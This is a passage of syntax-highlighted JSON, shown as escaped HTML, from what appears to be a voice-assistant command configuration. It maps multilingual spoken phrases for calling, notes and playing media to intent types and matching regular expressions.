&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;command_type&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;call&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;description&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;打电话给&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;command_regexp&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;^给(.*)打电话$&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;command_type&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;call&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;description&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;拨打&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;command_regexp&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;^拨打(.*)$&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;command_type&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;call&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;description&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;打给&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;command_regexp&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;^打给(.*)$&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;command_type&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;call&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;description&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;打電話俾&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;command_regexp&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;^打電話俾(.*)$&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;command_type&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;call&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;description&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;打俾&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;command_regexp&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;^打俾(.*)$&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;command_type&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;call&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;description&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;打電話去&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;command_regexp&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;^打電話去(.*)$&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;command_type&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;call&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;description&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;打去&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;command_regexp&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;^打去(.*)$&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;command_type&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;call&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;description&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;打電話比&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;command_regexp&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;^打電話比(.*)$&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;command_type&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;call&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;description&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;打比&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;command_regexp&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;^打比(.*)$&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;command_type&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;note&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;description&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;note&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;command_regexp&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;^note\\b(.*)$&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;command_type&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;note&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;description&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;report&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;command_regexp&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;^report\\b(.*)$&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;command_type&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;note&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;description&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;bug note&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;command_regexp&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;^bug note\\b(.*)$&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;command_type&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;note&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;description&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;bug report&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;command_regexp&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;^bug report\\b(.*)$&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;command_type&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;play&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;description&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;play&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;command_regexp&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;^play\\b(.*)$&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;command_type&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;play&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;description&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;plays&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;command_regexp&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;^plays\\b(.*)$&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;command_type&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;play&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;description&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;listen to&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;command_regexp&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;^listen to\\b(.*)$&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;command_type&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;play&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;description&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;listens to&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;command_regexp&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;^listens to\\b(.*)$&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;command_type&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;play&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;description&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;listen 2&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;command_regexp&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;^listen 2\\b(.*)$&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;command_type&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;play&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;description&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;listens 2&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;command_regexp&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;^listens 2\\b(.*)$&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;command_type&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;play&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;description&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;écouter&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;command_regexp&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;^écouter\\b(.*)$&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;command_type&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;play&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;description&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;jouer&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;command_regexp&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;^jouer\\b(.*)$&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;command_type&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;play&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;description&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;spielen&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;command_regexp&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;^(.*)\\bspielen$&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;command_type&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;play&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;description&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;hören&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;command_regexp&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;^(.*)\\bhören$&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;command_type&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;play&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;description&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;abspielen&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;command_regexp&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;^(.*)\\babspielen$&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;command_type&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;play&amp;#34;&lt;/span&gt;,
